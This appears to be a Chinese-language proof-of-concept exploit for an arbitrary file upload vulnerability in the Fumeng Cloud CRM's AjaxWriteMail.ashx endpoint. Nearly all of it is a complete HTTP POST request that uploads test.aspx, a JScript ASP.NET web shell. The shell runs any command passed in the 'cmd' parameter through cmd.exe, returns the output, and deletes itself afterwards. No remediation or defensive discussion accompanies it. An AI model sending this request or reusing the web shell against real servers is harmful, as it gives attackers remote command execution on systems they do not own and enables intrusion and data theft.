孚盟云CRM管理系统 /AjaxWriteMail.ashx 路径存在任意文件上传漏洞

POST /m/Dingding/Ajax/AjaxWriteMail.ashx?method=UpLoadAttachment HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk

------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="file"; filename="test.aspx"
Content-Type: text/plain

<%@ Page Language="Jscript" validateRequest="false" %>
<%
var c=new System.Diagnostics.ProcessStartInfo("cmd");
var e=new System.Diagnostics.Process();
var out:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;
e.StartInfo=c;
c.Arguments="/c " + Request.Item["cmd"];
e.Start();
out=e.StandardOutput;
EI=e.StandardError;
e.Close();
Response.Write(out.ReadToEnd() + EI.ReadToEnd());
System.IO.File.Delete(Request.PhysicalPath);
Response.End();%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--